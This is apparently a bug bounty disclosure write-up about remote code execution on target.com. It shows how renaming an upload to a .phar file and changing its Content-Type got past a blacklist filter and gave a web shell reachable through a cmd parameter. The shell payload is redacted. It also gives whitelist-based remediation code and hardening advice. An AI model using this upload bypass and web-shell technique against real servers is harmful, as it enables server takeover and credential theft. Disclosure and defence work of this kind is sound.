RCE on target.com via Unvalidated File Upload
RCE on target.com via Unvalidated File Upload
Summary
A critical vulnerability was identified in the profile photo upload endpoint of target.com which allowed an attacker to bypass file extension validation filters. By uploading a crafted PHP file containing a web shell, it was possible to execute arbitrary commands on the underlying server.
Severity: Critical (CVSS 9.8)
Reward: $5,000
Program: Target Bug Bounty Program (HackerOne)
Vulnerability Details
Type
Remote Code Execution (RCE) via Unvalidated File Upload
Affected Endpoint
POST /api/v1/profile/upload-avatar
Root Cause
The application used a blacklist-based validation method to restrict file extensions (blocking extension formats like standard PHP scripts) but failed to enforce strict verification of MIME types, case variations, or alternative executable extensions. Additionally, the web server was configured to parse .phar files as PHP scripts.
Steps to Reproduce
Prerequisites
- An authenticated user account on
target.com - Interception proxy configured (e.g., Burp Suite)
Reproduction Steps
- Navigate to Account Settings: Access the profile page and click on the “Change Avatar” button.
- Prepare Payload: Create a file named
shell.pharcontaining a conceptual command executor:[DUMMY_EXECUTION_STRING] This script takes the 'cmd' parameter and routes it to the operating system command shell. - Send Upload Request: Intercept the profile photo upload request in Burp Suite and change the filename from
avatar.pngtoshell.phar. Change theContent-Typeheader of the file section toapplication/x-httpd-php. - Observe Response: The server returns a JSON response indicating the upload succeeded and provides the path to the uploaded file:
{ "status": "success", "url": "/uploads/avatars/2026/shell.phar" } - Command Execution: Navigate to the uploaded path in the web browser and pass the
cmdparameter:https://target.com/uploads/avatars/2026/shell.phar?cmd=whoamiThe browser returns the response:
www-data.
Proof of Concept
HTTP Request
POST /api/v1/profile/upload-avatar HTTP/1.1
Host: target.com
Authorization: Bearer jwt_token_here
Content-Type: multipart/form-data; boundary=---------------------------38302316492023594056230353457
-----------------------------38302316492023594056230353457
Content-Disposition: form-data; name="avatar"; filename="shell.phar"
Content-Type: application/x-httpd-php
[PHP WEB SHELL EXECUTION PAYLOAD PLACEHOLDER]
-----------------------------38302316492023594056230353457--
HTTP Response
HTTP/1.1 200 OK
Content-Type: application/json
Date: Thu, 25 Jun 2026 14:22:10 GMT
Connection: close
{
"status": "success",
"url": "/uploads/avatars/2026/shell.phar"
}
Impact
What an Attacker Can Do
- Execute arbitrary operating system commands on the server under the
www-datauser context. - Read sensitive database credentials from system configuration files.
- Pivot to other internal corporate servers in the local network segment.
Affected Data
- System application source code
- Cloud metadata credentials (linked via server instance role)
- PostgreSQL database credentials
Business Impact
- Absolute loss of confidentiality, integrity, and availability of the host.
- Risk of server takeover to be utilized for lateral movements or hosting malicious payloads.
Remediation
Recommended Fix
Avoid checking filenames against a blacklist. Instead, utilize a strict whitelist for file validation:
# Python snippet representing secure upload check
import os
from werkzeug.utils import secure_filename
ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif'}
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
def handle_upload(file):
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
# Store file outside the web root or rename to a random UUID with no execution permissions
file.save(os.path.join('/var/www/uploads/raw_images', filename))
return True
return False
Security Controls
- Filename Randomization: Rename uploaded files to random strings (such as UUIDs) upon reception.
- Disable Execution: Configure the server hosting uploaded static images to disable script execution (e.g., in Nginx, do not pass executable scripts to the FastCGI process in the
/uploads/directory). - Use Storage Buckets: Host uploaded content on an isolated domain/storage bucket (e.g., AWS S3) with non-executable storage permissions.
Timeline
| Date | Event |
|---|---|
| 2026-06-25 | Vulnerability discovered & verified |
| 2026-06-25 | Report submitted to HackerOne portal |
| 2026-06-25 | Report triaged and confirmed as Critical |
| 2026-06-26 | Fix deployed by target engineering team |
| 2026-06-26 | Vulnerability fix verified |
| 2026-06-26 | Bounty of $5,000 awarded |
References
Disclaimer: This writeup is published after responsible disclosure and with permission. All sensitive information has been redacted.